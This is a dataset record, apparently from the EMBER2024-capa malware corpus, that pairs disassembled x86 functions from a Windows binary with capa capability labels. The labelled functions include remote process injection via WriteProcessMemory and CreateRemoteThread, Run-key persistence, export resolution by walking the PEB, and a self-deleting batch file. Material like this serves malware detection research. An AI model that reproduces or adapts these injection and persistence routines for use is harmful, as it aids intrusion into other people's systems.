joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4001195
Capabilities:
Copy file
Create thread
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x40012d1
cmp dword [ebp + 0xc], ebx
je 0x40012d1
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call edi
test eax, eax
je 0x40012d0
push dword [ebp + 0xc]
call edi
test eax, eax
je 0x40012d0
mov eax, 0x104
mov dword [ebp - 8], eax
cmp byte [ebp + 0x10], bl
je 0x40011f8
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USERENV.dll_GetAllUsersProfileDirectoryA]
jmp 0x400120b
push eax
lea eax, [ebp - 0x210]
push eax
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push dword [ebp + 0xc]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push str._s_s.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
je 0x400125b
push ebx
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x10c]
push eax
push esi
call edi
push 0x30d
call fcn.04004edc
pop ecx
push dword [ebp + 8]
mov esi, eax
mov al, byte [ebp + 0x10]
push esi
mov byte [esi + 0x30c], al
call edi
cmp byte [0x400d1db], bl
je 0x4001297
push 0x4006228
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._9276543007814
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 0xc]
lea eax, [esi + 0x208]
push eax
call edi
push ebx
push ebx
push esi
push 0x400111a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x40012c9
mov ecx, dword [ebp + 0x14]
cmp ecx, ebx
je 0x40012c0
mov dword [ecx], eax
mov dword [ebp - 4], 1
jmp 0x40012d0
push esi
call fcn.04004ef0
pop ecx
pop edi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret

Function at 0x40014bd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor ecx, ecx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x40014da
shr eax, 1
xor eax, 0xedb88320
jmp 0x40014dc
shr eax, 1
dec edx
jne 0x40014cd
mov dword [ebp + ecx*4 - 0x400], eax
inc ecx
cmp ecx, 0x100
jl 0x40014c8
or eax, 0xffffffff
cmp dword [ebp + 0xc], edx
je 0x4001519
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx]
dec dword [ebp + 0xc]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [ebp + edx*4 - 0x400]
inc ecx
cmp dword [ebp + 0xc], 0
jne 0x40014fa
not eax
leave
ret
Function at 0x4001758
Capabilities:
Enumerate process modules
Enumerate processes
Get process image filename

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x138
push 0
push 2
mov byte [ebp + 0x6f], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp + 0x68], eax
cmp eax, 0xffffffff
je 0x400187a
push edi
lea ecx, [ebp - 0xc8]
push ecx
push eax
mov dword [ebp - 0xc8], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4001874
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
cmp dword [ebp - 0xc0], esi
je 0x40017cb
lea eax, [ebp - 0xc8]
push eax
push dword [ebp + 0x68]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40017ab
jmp 0x4001873
mov esi, dword [ebp - 0xb0]
test esi, esi
je 0x4001873
lea eax, [ebp - 0xc8]
push eax
push dword [ebp + 0x68]
call sub.KERNEL32.dll_Process32First
jmp 0x4001801
cmp dword [ebp - 0xc0], esi
je 0x4001807
lea eax, [ebp - 0xc8]
push eax
push dword [ebp + 0x68]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40017ea
jmp 0x4001873
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, dword [ebp + 0x7c]
jge 0x4001873
lea eax, [ebp - 0xa4]
push eax
push dword [ebp + 0x78]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4001873
and dword [ebp + 0x64], 0
lea eax, [ebp + 0x64]
push eax
push 4
lea eax, [ebp + 0x60]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
push dword [ebp + 0x7c]
push dword [ebp + 0x78]
test eax, eax
je 0x4001866
push dword [ebp + 0x60]
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
jmp 0x400186c
push esi
call sub.PSAPI.DLL_GetProcessImageFileNameA
push esi
mov byte [ebp + 0x6f], 1
call edi
pop esi
push dword [ebp + 0x68]
call edi
pop edi
mov al, byte [ebp + 0x6f]
add ebp, 0x70
leave
ret

Function at 0x4001882
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x40018da
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.04004174
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.04004174
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40018da
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x10]
mov eax, esi
pop esi
leave
ret
Function at 0x40018df
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
add esi, eax
movzx eax, word [esi + 0x14]
lea ebx, [eax + esi + 0x18]
movzx eax, word [esi + 6]
push edi
xor edi, edi
mov dword [ebp - 8], eax
test eax, eax
jbe 0x40019b2
mov dword [ebp - 4], ebx
push 0x4006334
push dword [ebp - 4]
call fcn.04004137
pop ecx
pop ecx
test al, al
jne 0x400192d
add dword [ebp - 4], 0x28
inc edi
cmp edi, dword [ebp - 8]
jb 0x400190b
jmp 0x40019b2
imul edi, edi, 0x28
lea ecx, [edi + ebx]
mov eax, dword [ecx + 0xc]
add eax, dword [ebp + 8]
mov ecx, dword [ecx + 0x10]
je 0x40019b2
test ecx, ecx
je 0x40019b2
mov ecx, dword [esi + 0x34]
mov dword [ebp - 8], ecx
jmp 0x40019a6
mov edx, dword [ebp + 8]
lea ebx, [ecx + edx]
mov ecx, dword [eax + 4]
sub ecx, 8
shr ecx, 1
mov dword [ebp - 4], 0
je 0x4001999
mov edx, dword [ebp - 4]
lea edx, [eax + edx*2 + 8]
cmp word [edx], 0
je 0x4001999
movzx edx, word [edx]
mov edi, edx
sar edx, 0xc
and dl, 0xf
and edi, 0xfff
cmp dl, 3
jne 0x4001991
movsx edx, di
mov edi, dword [ebp + 0xc]
sub edi, dword [ebp - 8]
add edx, ebx
add dword [edx], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jb 0x4001961
add eax, dword [eax + 4]
test al, 3
je 0x40019a6
add eax, 4
and eax, 0xfffffffc
mov ecx, dword [eax]
test ecx, ecx
jne 0x400194a
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x34], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4001cc3
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
xor ebx, ebx
push esi
xor eax, eax
push edi
cmp dword [ebp + 8], ebx
je 0x4001df0
mov ecx, dword [ebp + 0xc]
cmp ecx, ebx
je 0x4001df0
mov esi, dword [ecx + 0x3c]
add esi, ecx
movzx eax, word [esi + 0x14]
lea eax, [eax + esi + 0x18]
push 0x40
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 0x50]
mov edi, 0x3000
push edi
push eax
push ebx
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x4001d18
xor eax, eax
jmp 0x4001df0
push 0x40
push edi
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push dword [esi + 0x34]
push dword [ebp + 8]
call edi
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x4001d5b
push 0x40
push 0x103000
push dword [ebp - 0x10]
push ebx
push dword [ebp + 8]
call edi
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x4001d5b
push 0x8000
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4001d11
push dword [esi + 0x54]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.04004094
xor eax, eax
add esp, 0xc
mov dword [ebp - 0xc], ebx
cmp ax, word [esi + 6]
jae 0x4001da4
mov edi, dword [ebp - 0x14]
add edi, 0x14
mov eax, dword [edi]
add eax, dword [ebp + 0xc]
push dword [edi - 4]
push eax
mov eax, dword [edi - 8]
add eax, dword [ebp - 4]
push eax
call fcn.04004094
movzx eax, word [esi + 6]
add esp, 0xc
inc dword [ebp - 0xc]
add edi, 0x28
cmp dword [ebp - 0xc], eax
jb 0x4001d7d
push dword [ebp - 8]
mov edi, dword [ebp - 4]
push edi
call fcn.040018df
pop ecx
pop ecx
push ebx
push dword [ebp - 0x10]
push edi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push ebx
push edi
test eax, eax
je 0x4001d53
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x18]
push eax
push ebx
mov dword [ebp - 0x18], ebx
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 8]
push 0x11
push eax
push ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4001df5
Capabilities:
Create thread

Disassembly:
push ebx
xor ebx, ebx
push ebx
push ebx
push dword [esp + 0x10]
push 0x40019b7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x4001e20
push dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4001e20
mov bl, 1
mov al, bl
pop ebx
ret

Function at 0x4001e24
Capabilities:
Access peb ldr_data

Disassembly:
push esi
xor eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
pop esi
ret
Function at 0x4001e39
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edx, dword [ebp + 8]
mov ebx, edx
mov edi, dword [edx + 0x3c]
add edi, edx
cmp word [edi], 0x4550
jne 0x4001ea4
add ebx, dword [edi + 0x78]
mov ecx, dword [ebx + 0x18]
mov esi, dword [ebx + 0x20]
mov edi, dword [ebx + 0x24]
add esi, edx
add edi, edx
cld
push ebp
mov ebp, dword [ebp + 0xc]
lodsd eax, dword [esi]
add eax, edx
xchg esi, eax
xchg ebp, edi
push ecx
xor ecx, ecx
add cl, 0xf
repe cmpsb byte [esi], byte es:[edi]
jb 0x4001e81
xchg esi, eax
pop ecx
xchg ebp, edi
je 0x4001e92
inc edi
inc edi
loop 0x4001e65
jmp 0x4001ea4
xor esi, esi
mov si, 0xeec5
sub si, 0xeeb6
sub esi, ecx
sub edi, esi
jmp 0x4001e75
xor eax, eax
mov ax, word [edi]
shl eax, 2
mov esi, dword [ebx + 0x1c]
add esi, edx
add esi, eax
lodsd eax, dword [esi]
add eax, edx
pop ebp
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4001ffc
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x4002054
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jle 0x4002053
push esi
lea esi, [eax + 0xc]
mov eax, dword [esi]
test eax, eax
je 0x400204c
and dword [ebp + 8], 0
lea ecx, [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp + 8], 0x103
jne 0x4002049
push dword [ebp + 0x10]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4002049
push 0xffffffffffffffff
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
and dword [esi], 0
add esi, 0x10
dec edi
jne 0x4002012
pop esi
pop edi
pop ebp
ret

Function at 0x4002183
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor edi, edi
mov dword [ebp - 8], edi
cmp dword [ebp + 8], edi
je 0x400222b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 4
jl 0x400222b
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x400222b
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, edi
jbe 0x4002221
push ebx
push 4
push 0x3000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
cmp ebx, edi
je 0x4002220
push edi
lea eax, [ebp + 8]
push eax
push esi
push ebx
push dword [ebp - 4]
mov dword [ebp + 8], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp + 8], esi
jne 0x4002213
push esi
push ebx
call fcn.040014bd
pop ecx
pop ecx
mov dword [ebp - 8], eax
push 0x8000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, dword [ebp - 8]
pop edi
leave
ret

Function at 0x40022a3
Capabilities:
Check mutex on windows

Disassembly:
push str.sivulnankesb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0xb7
neg eax
sbb eax, eax
inc eax
ret
Function at 0x40022c3
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [str.softwaremicrosoftwindowscurrentversion]
sub esp, 0x28
push ebx
xor ebx, ebx
mov ecx, 0x80000001
cmp byte [0x400d1d4], bl
je 0x40022df
inc ecx
lea edx, [ebp - 4]
push edx
push 0xf003f
push ebx
push eax
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4002360
push esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
mov esi, str.AppManagement
push esi
push dword [ebp - 4]
mov dword [ebp - 8], 0x20
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4002334
cmp dword [ebp - 8], 0x10
jne 0x4002334
cmp byte [ebp + 8], bl
je 0x4002356
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x4002356
lea eax, [ebp - 0x28]
push 0x10
push eax
call fcn.0400513a
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x28]
push eax
push 3
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4002365
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
mov esi, dword [str.softwaremicrosoftwindowscurrentversion]
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x12c]
push ebx
push eax
call fcn.04004174
add esp, 0xc
push str.sivulnankesb
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40063e0
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, 0x80000001
cmp byte [0x400d1d4], bl
je 0x40023bf
inc eax
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push ebx
push esi
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4002430
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], 0x20
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4002401
mov bl, 1
jmp 0x4002427
lea eax, [ebp - 0x28]
push 0x10
push eax
call fcn.0400513a
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x28]
push eax
push 3
push ebx
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x400250a
Capabilities:
Decompress data via iencodingfilterfactory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x400259f
cmp dword [ebp + 0x10], esi
je 0x400259f
cmp dword [ebp + 0xc], esi
jbe 0x400259f
lea eax, [ebp - 8]
push eax
push 0x4006650
push 1
push esi
push 0x4006640
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x400259f
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push 0x400636c
push 0x4006360
push eax
call dword [ecx + 0x10]
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x4002596
push esi
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 0x10]
push edx
push dword [ebp + 0xc]
mov dword [ebp - 0x10], esi
push dword [ebp + 0x10]
mov dword [ebp - 0xc], esi
push dword [ebp + 0x14]
mov ecx, dword [eax]
push dword [ebp + 8]
push dword [ebp + 0xc]
push esi
push eax
call dword [ecx + 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
pop esi
leave
ret 0x10

Function at 0x40025a6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
mov eax, 0x80000001
cmp byte [0x400d1d4], bl
je 0x40025bc
inc eax
lea ecx, [ebp - 4]
push ecx
push 2
push ebx
push dword [0x400b828]
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x400260b
push 0xffffffffffffffff
call fcn.0400510a
pop ecx
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 3
push ebx
push dword [0x400b82c]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret

Function at 0x4002610
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
xor ebx, ebx
mov eax, 0x80000001
cmp byte [0x400d1d4], bl
je 0x4002627
inc eax
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push ebx
push dword [0x400b828]
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x400268d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [0x400b82c]
mov dword [ebp - 8], 0x20
push dword [ebp - 4]
mov dword [ebp - 0xc], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4002684
push dword [0x400b82c]
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret
Function at 0x4002692
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
push edi
mov byte [ebp - 1], 1
cmp eax, ebx
je 0x400278a
cmp dword [ebp + 0xc], ebx
je 0x400278a
cmp dword [ebp + 0x10], ebx
je 0x400278a
cmp dword [eax + 0x10], ebx
je 0x400278a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.040014bd
mov esi, dword [str.softwaremicrosoftwindowscurrentversion]
push 0x10
mov edi, eax
lea eax, [ebp - 0x1c]
push ebx
push eax
call fcn.04004174
push edi
lea eax, [ebp - 0x1c]
push 0x40063e4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
mov eax, 0x80000001
cmp byte [0x400d1d4], bl
je 0x4002707
inc eax
lea ecx, [ebp - 8]
push ecx
push 0xf003f
push ebx
push esi
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x400278a
push 0x10
pop esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4002781
cmp dword [ebp - 0xc], esi
jne 0x4002781
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
lea esi, [ebp - 0x3c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.04004fae
add esp, 0x20
push 0x3c
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp + 8]
cmp eax, dword [ecx + 0x10]
jge 0x4002781
mov byte [ebp - 1], bl
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4002792
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x20
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x4002847
cmp dword [ebp + 0xc], ebx
je 0x4002847
cmp dword [ebp + 0x10], ebx
je 0x4002847
cmp dword [eax + 0x10], ebx
je 0x4002847
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.040014bd
mov esi, dword [str.softwaremicrosoftwindowscurrentversion]
push 0x10
mov edi, eax
lea eax, [ebp - 0x10]
push ebx
push eax
call fcn.04004174
push edi
lea eax, [ebp - 0x10]
push 0x40063e4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
mov eax, 0x80000001
cmp byte [0x400d1d4], bl
je 0x4002803
inc eax
lea ecx, [ebp + 8]
push ecx
push 0xf003f
push ebx
push esi
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x4002847
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x10
lea eax, [ebp - 0x20]
push eax
push 3
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret
Function at 0x400284a
Capabilities:
Create process on windows
Delete registry value
Get common file path
Persist via run registry key
Query environment variable
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa84
push ebx
push esi
xor esi, esi
inc esi
push 0x3e8
mov dword [0x400d1e8], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x30c
xor ebx, ebx
lea eax, [ebp - 0x570]
push ebx
push eax
call fcn.04004174
add esp, 0xc
push 0x30b
lea eax, [ebp - 0x570]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x570]
push eax
push eax
lea eax, [ebp - 0xa84]
push str.:repeat_r_ndel__s_r_nif_exist__s_goto_:repeat_r_ndel___0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x400d1e4]
add esp, 0x10
cmp eax, ebx
je 0x40028c1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, 0x80000001
cmp byte [0x400d1d4], bl
je 0x40028cf
inc eax
lea ecx, [ebp - 4]
push ecx
push 2
push ebx
push str.softwaremicrosoftwindowscurrentversion_run
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4002900
push str.sivulnankesb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [0x400d1d5], bl
je 0x400290f
push esi
call fcn.040022c3
pop ecx
push 0x104
lea eax, [ebp - 0x778]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0xffff
div ecx
lea eax, [ebp - 0x778]
push edx
push 0x40063f0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push str..bat
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push ebx
push 2
push ebx
push esi
push 0x40000000
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4002a09
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xa84]
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa84]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x10
lea eax, [ebp - 0x18]
push ebx
push eax
call fcn.04004174
push 0x44
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.04004174
add esp, 0x18
or dword [ebp - 0x30], 1
xor eax, eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x264]
push eax
push ebx
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4002a02
push dword [ebp - 0x14]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
leave
ret